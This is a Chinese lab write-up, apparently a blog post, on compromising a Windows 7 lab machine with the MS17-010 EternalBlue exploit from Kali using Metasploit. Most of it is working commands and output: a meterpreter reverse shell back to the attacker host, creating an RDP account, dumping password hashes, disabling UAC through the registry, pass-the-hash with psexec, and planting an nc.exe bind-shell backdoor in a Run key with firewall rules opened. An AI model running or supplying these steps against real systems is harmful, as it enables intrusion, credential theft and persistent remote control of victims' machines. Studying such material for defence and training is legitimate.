使用ms17-010永恒之蓝漏洞对win7进行渗透

使用ms17-010永恒之蓝漏洞对win7进行渗透

一、实验目的:

  1. 利用ms17-010永恒之蓝漏洞对win7进行渗透;
  2. 利用enable_rdp脚本开启远程桌面并创建用户;
  3. 关闭主机UAC防护策略并开启后门。

二、实验环境:

  • win7:192.168.18.130
  • Kali:192.168.18.128

三、实验原理:

永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

四、实验步骤:

4.1 利用ms17-010永恒之蓝漏洞对win7进行渗透 

  1. 利用Kali扫描win7是否存在漏洞: 
┌──(root㉿kali)-[~/桌面]
└─# msfconsole  
msf6 > use auxiliary/scanner/smb/smb_ms17_010 
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.18.130
RHOSTS => 192.168.18.130
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit

image-20221112205222523

注:当出现图中标注内容,说明存在永恒之蓝漏洞 

  1. 开始利用漏洞:
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

image-20221112210546792

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.18.130
RHOSTS => 192.168.18.130
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.18.128
LHOST => 192.168.18.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 

image-20221112211238758

image-20221112211349531

  1. 查看权限:
meterpreter > getuid

image-20221112211628126

4.2 利用enable_rdp脚本开启远程桌面并创建用户

RDP 概述:远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。

  1. 开启RDP远程桌面:
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

注:post/windows/manage/enable_rdp 模块可以帮我们启动目标主机的 rdp 服务,并且可以帮我 们自动创建 rdp 用户,另外还可以帮我们把目标主机的 rdp 端口映射到本地。

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/manage/enable_rdp 
msf6 post(windows/manage/enable_rdp) > set username test
username => test
msf6 post(windows/manage/enable_rdp) > set password 123456
password => 123456
msf6 post(windows/manage/enable_rdp) > set session 2
session => 2
msf6 post(windows/manage/enable_rdp) > run

image-20221112214849701

Kali再开一个命令窗口:

┌──(root㉿kali)-[~/桌面]
└─# rdesktop 192.168.18.130

image-20221112215242435

image-20221112215351359

点击”其他用户“,利用刚才创建的账号/密码登录:test/123456

image-20221112215824213

image-20221112220057976

image-20221112220229036

4.2 关闭主机UAC防护策略并开启后门

通过 ms17-010 永恒之蓝获取到的 shell 可能会出现操作受限的情况,所以我们使用主机的账户信息建立 session 进行连接。
        SAM 概述:SAM 文件即账号密码数据库文件,SAM 文件的位置是: C:\Windows\System32\config\SAM

image-20221112221230698

回到msf控制台,从SAM中导出密码的哈希值

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tan:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
meterpreter > 

image-20221112222037489

以创建的test用户为案例:

test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

注:我们需要创建一条防火墙规则允许 4444 端口访问网络,否则我们建立 session 时 payload 不能通过 4444 端口访问网络导致 session 建立失败。

回到msf控制台

meterpreter > shell
Process 3704 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>netsh advfirewall firewall add rule name="test" protocol=TCP dir=out remoteport=4444 action=allow
netsh advfirewall firewall add rule name="test" protocol=TCP dir=out remoteport=4444 action=allow
ȷ����


C:\Windows\system32>

显示乱码但是已经执行成功
        拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

image-20221112223749001

4.3 关闭主机UAC防护策略并开启后门

UAC 概述:
        用户帐户控制(User Account Control,简写作 UAC)是微软公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

关闭UAC

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.

C:\Windows\system32>

参数说明:
ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项

关闭 UAC 远程限制,此机制有助于防止本地恶意软件以管理权限远程运行。关闭 UAC 远程限制方便黑客远程执行命令。

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
The operation completed successfully.

C:\Windows\system32>exit
exit

C:\Windows\system32>exit
exit

C:\Windows\system32>exit
exit
meterpreter > background 
[*] Backgrounding session 3...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

image-20221112225550775

使用hash值登录系统:

msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.18.130
RHOSTS => 192.168.18.130
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.18.128
LHOST => 192.168.18.128
msf6 exploit(windows/smb/psexec) > set SMBUser test
SMBUser => test
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf6 exploit(windows/smb/psexec) > set SMBDomain WORKGROUP
SMBDomain => WORKGROUP
msf6 exploit(windows/smb/psexec) > exploit 

image-20221112231310884

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM                                                          
meterpreter > 
可以看到虽然我们使用 test 用户进行认证,但是我们同样获取到了 SYSTEM 的权限

下面我们配置一个后门程序,修改 UAC 的注册表,需要重启才能生效。
上传 nc 到 Win7

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32                 
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\windows\system32                    
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe
meterpreter > 
注册表添加启动项执行 nc 反弹 shell 命令
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
Successfully set lltest_nc of REG_SZ.
meterpreter > 

nc 参数解释:
L 表示用户退出连接后重新进行端口侦听
d 后台运行
p 指定端口
-e prog 程序重定向,一旦连接,就执行

meterpreter > shell
Process 1792 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>

防火墙允许 443 端口访问网络否则开机的时需要用户点击允许访问网络才可以成功执行。

C:\Windows\system32>netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow
netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow
ȷ����


C:\Windows\system32>

重启win7

C:\Windows\system32>shutdown -r -f -t 0
shutdown -r -f -t 0

C:\Windows\system32>
选项说明:
-r 重启
-f 强制
-t 时间 0 表示立刻

需要用户进入系统后,我们的后门程序,才可以使用。在这个锁屏的界面,我们的后门程序还没有运行。

image-20221112233339536

新建一个终端使用 nc 进行连接后门

┌──(root㉿kali)-[~/桌面]
└─# nc -v 192.168.18.130 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.18.130:443.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\SysWOW64>

image-20221112234143604

msf控制台连接方法

msf6 > connect 192.168.18.130 443
[*] Connected to 192.168.18.130:443 (via: 192.168.18.128:34817)
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\SysWOW64>

image-20221112234451510

  • 4
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值